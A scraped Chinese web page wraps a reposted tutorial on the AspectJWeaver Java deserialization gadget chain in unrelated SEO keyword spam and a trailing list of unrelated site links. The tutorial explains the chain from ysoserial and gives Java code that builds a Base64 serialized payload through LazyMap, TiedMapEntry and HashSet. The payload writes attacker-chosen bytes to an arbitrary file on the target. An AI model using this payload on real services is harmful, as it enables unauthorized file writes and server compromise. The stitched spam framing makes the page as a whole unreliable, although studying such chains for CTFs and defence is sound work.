当前位置: 首页 > news >正文

ps网站专题怎么做乐清门户网站

ps网站专题怎么做,乐清门户网站,网站首页下拉广告,满分作文网站[Java反序列化]AspectJWeaver反序列化 前言 2021年二月份ysoserialize增加了这条AspectJWeaver链子#xff0c;之后陆续在2021年的D3CTF以及国赛决赛中都出现了这条链子的攻击#xff0c;所以学习一下AspectJWeaver的反序列化#xff0c;之后再复现一下D3CTF和国赛决赛的两…[Java反序列化]AspectJWeaver反序列化 前言 2021年二月份ysoserialize增加了这条AspectJWeaver链子之后陆续在2021年的D3CTF以及国赛决赛中都出现了这条链子的攻击所以学习一下AspectJWeaver的反序列化之后再复现一下D3CTF和国赛决赛的两道Java。 依赖 dependencygroupIdcommons-collections/groupIdartifactIdcommons-collections/artifactIdversion3.1/version/dependencydependencygroupIdorg.aspectj/groupIdartifactIdaspectjweaver/artifactIdversion1.9.2/version/dependency需要存在CC链。 分析 首先看一下yso的chain Gadget chain: HashSet.readObject()HashMap.put()HashMap.hash()TiedMapEntry.hashCode()TiedMapEntry.getValue()LazyMap.get()SimpleCache$StorableCachingMap.put()SimpleCache$StorableCachingMap.writeToPath()FileOutputStream.write()前面部分是7u21中间是CC6。从SimpleCache$StorableCachingMap.put()开始看起了。 StorableCachingMap是SimpleCache的内部类它extends HashMap并且重写了put方法 Overridepublic Object put(Object key, Object value) {try {String path null;byte[] valueBytes (byte[]) value;if (Arrays.equals(valueBytes, SAME_BYTES)) {path SAME_BYTES_STRING;} else {path writeToPath((String) key, valueBytes);}Object result super.put(key, path);storeMap();return result;} catch (IOException e) {trace.error(Error inserting in cache: key:key.toString() ; value:value.toString(), e);Dump.dumpWithException(e);}return null;}当调用put的时候会触发path writeToPath((String) key, valueBytes); private String writeToPath(String key, byte[] bytes) throws IOException {String fullPath folder File.separator key;FileOutputStream fos new FileOutputStream(fullPath);fos.write(bytes);fos.flush();fos.close();return fullPath;}实现文件写入即将put方法的value写入到folder File.separator key中。 测试 public static void main(String[] args) throws Exception{Class clazz Class.forName(org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap);Constructor declaredConstructor clazz.getDeclaredConstructor(String.class,int.class);declaredConstructor.setAccessible(true);HashMap map (HashMap)declaredConstructor.newInstance(D:\\\\, 123);map.put(1.txt,123.getBytes(StandardCharsets.UTF_8));}成功将123写入到D:\flag文件中。 构造出来 public static void main(String[] args) throws Exception{Class clazz Class.forName(org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap);Constructor declaredConstructor clazz.getDeclaredConstructor(String.class,int.class);declaredConstructor.setAccessible(true);HashMap map (HashMap)declaredConstructor.newInstance(D:\\\\, 123);ConstantTransformer constantTransformer new ConstantTransformer(evil code.getBytes(StandardCharsets.UTF_8));Map outerMap LazyMap.decorate(map,constantTransformer);TiedMapEntry tiedMapEntry new TiedMapEntry(outerMap,1.txt);HashSet hashSet new LinkedHashSet(1);hashSet.add(tiedMapEntry);outerMap.remove(1.txt);System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(hashSet)));}我没有去管hashSet.add(tiedMapEntry);的时候还会在自己的电脑上触发一次只要生成的payload能用就行了。感兴趣的师傅们可以自己构造一下HashSet的那部分使得在自己的电脑上不会触发或者说直接抄一下yso的代码也都可以。
http://www.hyszgw.com/news/101706/

相关文章:

  • 有没有哪个网站怎么做动漫新闻的福州最好的网站建设服务商
  • 网站正能量点进去就能看oa办公软件
  • 普通网站 用多说关键词优化师
  • 关注城市建设网站宁波网站建设报价多少
  • 北京移动端网站开发天津建设网站免费
  • 能够做外贸的网站有哪些问题四川建设网官网地址
  • 南宁网站建设教学企业erp系统
  • 宝洁公司网站做的怎么样wordpress 饭店主题
  • 用自己的电脑做服务器搭建网站怎么注册自己的域名
  • 优质网站建设价格济南网站建设第六网建
  • 建设营销型网站模板怎么在电脑安装wordpress
  • 微网站模板在线租用网络服务器的价格
  • 台州千寻网站建设公司成都公司网站seo
  • 汕头企业网站推广技巧广东省东莞市有几个区
  • 可以做初中地理题的网站山西省住房城乡建设厅门户网站
  • 5台电脑做视频网站服务器济源做网站的公司
  • 百度做一个网站多少钱wordpress仿微信公众号模板下载
  • 阿里云 多域名解析 到不同的网站wordpress4.3 漏洞
  • 二级目录怎么做网站企业服务平台公众号
  • 云服务器网站文件夹网页设置
  • 如何自学网站建设python 开发手机网站开发
  • 深圳网站开发哪个好桂林景区网站策划
  • 用h5做的网站厦门百度竞价开户
  • 遵义本地网站厦门个人网站建设
  • 搭建企业网站的步骤如何运营好一个网站
  • 一个主机可以做几个网站域名装修公司做宣传在哪个网站
  • 长春做网站哪家公司好企业网站建设cms
  • 免费网站建设无广告企业品牌推广方案范文
  • 江苏省建设主管部门网站wordpress wplang
  • 佛山企业设计网站建设要建设一个网站需要准备些什么